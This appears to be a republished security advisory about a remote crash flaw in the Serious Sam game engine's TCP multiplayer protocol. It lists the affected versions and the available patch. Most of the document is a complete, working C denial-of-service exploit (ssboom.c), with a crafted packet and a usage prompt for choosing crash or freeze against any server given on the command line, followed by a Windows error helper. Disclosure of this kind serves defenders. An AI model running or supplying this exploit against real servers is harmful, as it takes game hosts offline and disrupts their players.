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The Serious Sam engine is the game's engine developed by Croteam. The games based on this engine are "Serious Sam: the first encounter", "Serious Sam: the second encounter", "Deer Hunter 2003" and "Carnivores: Cityscape" (probably others?).
A vulnerability in the game allows remote attackers to cause the game to crash by sending it a malformed packet. |
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Credit:
The information has been provided by Luigi Auriemma.
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Vulnerable systems:
Versions using TCP protocol in multiplayer:
* SeriousSam: the First Encounter version 1.05 and prior
* SeriousSam: the Second Encounter version 1.05 and prior (1.07 is not vulnerable)
* Demos of Serious Sam test version 2 2.1a and the demo of the Second encounter (oh yeah they are demos but there are people that use them)
The bug is a remote crash or freeze of the server caused by a malformed parameter in the data sent by the client. The following is an example of the original data:
"\x1f\x00\x00\x00" "\x40\xE1\xDE\x03\xFB\xCA\x2A\xBC\x83\x01\x00\x00\x07\x47\x41\x54"
"\x56\x10\x27\x00\x00\x05\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01"
"\x00\x00\x00\xA0\x0F\x00\x00\x64\x00\x00\x00"
The first parameter, 0x0000001f, probably is the size of the data that follows it or something similar and if you modify it the server will have some different "bad" effects.
For example, values over 0x81000000 crash the server and other values like 0xfffffff0 instead freeze it.
Solution:
* "Serious Sam: the first encounter": No fix.
* "Serious Sam: the second encounter": Simply use the 1.07 patch already available by long time.
Exploit:
ssboom.c:
/*
by Luigi Auriemma
This source is covered by GNU/GPL
UNIX & WIN VERSION
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN
#include <winsock.h>
#include <malloc.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 25600
#define TIMEWAIT 5
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
int sd,
err,
port;
struct sockaddr_in peer;
u_char *buff,
type,
pck[] =
/* bug */ "\xff\xff\xff\xff"
"\x40\xE1\xDE\x03\xFB\xCA\x2A\xBC\x83\x01\x00\x00\x07\x47\x41"
"\x54\x56\x10\x27\x00\x00\x05\x00\x00\x00\x00\x00\x01\x00\x00"
"\x00\x01\x00\x00\x00\xA0\x0F\x00\x00\x64\x00\x00\x00";
setbuf(stdout, NULL);
fputs("\n"
"Serious Sam TCP remote crash/freeze "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\nUsage: %s <type> <server> [port(%u)]\n"
"\nType of crash:\n"
"0 = crash (0xffffffff)\n"
"1 = freeze (0xfffffff0)\n"
"\n", argv[0], PORT);
exit(1);
}
#ifdef WIN
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
type = argv[1][0] & 1;
if(type) memcpy(pck, "\xf0\xff\xff\xff", 4);
else memcpy(pck, "\xff\xff\xff\xff", 4);
if(argc > 3) port = atoi(argv[3]);
else port = PORT;
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
buff = malloc(BUFFSZ);
if(!buff) std_err();
printf("\nConnection to %s:%hu\n",
inet_ntoa(peer.sin_addr),
port);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0) std_err();
/* 1 recv */
err = recv(sd, buff, BUFFSZ, 0);
if(err < 0) std_err();
if(!err) {
fputs("\nError: the server has closed the connection, retry\n", stdout);
exit(1);
}
fputc('.', stdout);
/* BOOOOOM */
err = send(sd, pck, sizeof(pck) - 1, 0);
if(err < 0) std_err();
fputs("\nMalformed data sent, now I need to wait some seconds...\n", stdout);
for(err = TIMEWAIT; err > 0; err--) {
printf("%d\r", err);
sleep(ONESEC);
}
close(sd);
fputs("\nThe exploit is terminated and the server should be down, check it\n", stdout);
free(buff);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
winerr.h
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
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